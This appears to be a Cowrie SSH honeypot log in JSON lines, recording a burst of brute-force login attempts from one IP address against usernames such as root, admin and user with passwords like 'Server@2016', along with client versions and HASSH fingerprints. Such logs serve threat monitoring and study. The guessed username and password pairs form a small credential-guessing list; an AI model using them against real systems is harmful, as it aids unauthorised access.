{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:44.391360Z","src_ip":"203.115.100.24","session":"35fe96e1dc28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2012","message":"login attempt [user2/Server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:45.330503Z","src_ip":"203.115.100.24","session":"35fe96e1dc28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:45.805561Z","src_ip":"203.115.100.24","session":"35fe96e1dc28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":55970,"dst_ip":"10.17.0.5","dst_port":22,"session":"f635de25701f","protocol":"ssh","message":"New connection: 203.115.100.24:55970 (10.17.0.5:22) [session: f635de25701f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:46.053280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:46.076376Z","src_ip":"203.115.100.24","session":"f635de25701f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:46.310747Z","src_ip":"203.115.100.24","session":"f635de25701f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2016","message":"login attempt [root/Server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:47.271026Z","src_ip":"203.115.100.24","session":"f635de25701f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:47.754840Z","src_ip":"203.115.100.24","session":"f635de25701f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":56065,"dst_ip":"10.17.0.5","dst_port":22,"session":"f88e1a536f88","protocol":"ssh","message":"New connection: 203.115.100.24:56065 (10.17.0.5:22) [session: f88e1a536f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:48.003420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:48.008202Z","src_ip":"203.115.100.24","session":"f88e1a536f88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:48.241448Z","src_ip":"203.115.100.24","session":"f88e1a536f88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2016","message":"login attempt [admin/Server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:49.212381Z","src_ip":"203.115.100.24","session":"f88e1a536f88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:49.697138Z","src_ip":"203.115.100.24","session":"f88e1a536f88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":56164,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe43e035d656","protocol":"ssh","message":"New connection: 203.115.100.24:56164 (10.17.0.5:22) [session: fe43e035d656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:49.929198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:49.934027Z","src_ip":"203.115.100.24","session":"fe43e035d656","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:50.155571Z","src_ip":"203.115.100.24","session":"fe43e035d656","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2016","message":"login attempt [user/Server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:51.073464Z","src_ip":"203.115.100.24","session":"fe43e035d656","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:51.552361Z","src_ip":"203.115.100.24","session":"fe43e035d656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":56257,"dst_ip":"10.17.0.5","dst_port":22,"session":"72a8f7f4875f","protocol":"ssh","message":"New connection: 203.115.100.24:56257 (10.17.0.5:22) [session: 72a8f7f4875f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:51.795048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:51.799399Z","src_ip":"203.115.100.24","session":"72a8f7f4875f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:52.025255Z","src_ip":"203.115.100.24","session":"72a8f7f4875f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2016","message":"login attempt [user2/Server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:52.963462Z","src_ip":"203.115.100.24","session":"72a8f7f4875f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:53.447095Z","src_ip":"203.115.100.24","session":"72a8f7f4875f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":56342,"dst_ip":"10.17.0.5","dst_port":22,"session":"0554df25f934","protocol":"ssh","message":"New connection: 203.115.100.24:56342 (10.17.0.5:22) [session: 0554df25f934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:53.694795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:53.700354Z","src_ip":"203.115.100.24","session":"0554df25f934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:53.944800Z","src_ip":"203.115.100.24","session":"0554df25f934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2019","message":"login attempt [root/Server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:54.923300Z","src_ip":"203.115.100.24","session":"0554df25f934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:55.401766Z","src_ip":"203.115.100.24","session":"0554df25f934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":56440,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f65054f9df7","protocol":"ssh","message":"New connection: 203.115.100.24:56440 (10.17.0.5:22) [session: 3f65054f9df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:55.624805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:55.629743Z","src_ip":"203.115.100.24","session":"3f65054f9df7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:55.847806Z","src_ip":"203.115.100.24","session":"3f65054f9df7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2019","message":"login attempt [admin/Server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:56.748978Z","src_ip":"203.115.100.24","session":"3f65054f9df7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:57.221924Z","src_ip":"203.115.100.24","session":"3f65054f9df7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":56530,"dst_ip":"10.17.0.5","dst_port":22,"session":"a289c633dc67","protocol":"ssh","message":"New connection: 203.115.100.24:56530 (10.17.0.5:22) [session: a289c633dc67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:57.479994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:57.485562Z","src_ip":"203.115.100.24","session":"a289c633dc67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:57.724479Z","src_ip":"203.115.100.24","session":"a289c633dc67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2019","message":"login attempt [user/Server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:58.709437Z","src_ip":"203.115.100.24","session":"a289c633dc67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":52072,"dst_ip":"159.203.135.109","dst_port":22,"session":"97addf7385bb","protocol":"ssh","message":"New connection: 43.160.206.186:52072 (159.203.135.109:22) [session: 97addf7385bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:58.983284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:58.988431Z","src_ip":"43.160.206.186","session":"97addf7385bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:59.181050Z","src_ip":"203.115.100.24","session":"a289c633dc67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:59.234153Z","src_ip":"43.160.206.186","session":"97addf7385bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":56627,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2581dc5b70a","protocol":"ssh","message":"New connection: 203.115.100.24:56627 (10.17.0.5:22) [session: a2581dc5b70a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:59.419293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:59.434476Z","src_ip":"203.115.100.24","session":"a2581dc5b70a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:59.665136Z","src_ip":"203.115.100.24","session":"a2581dc5b70a","protocol":"ssh"}
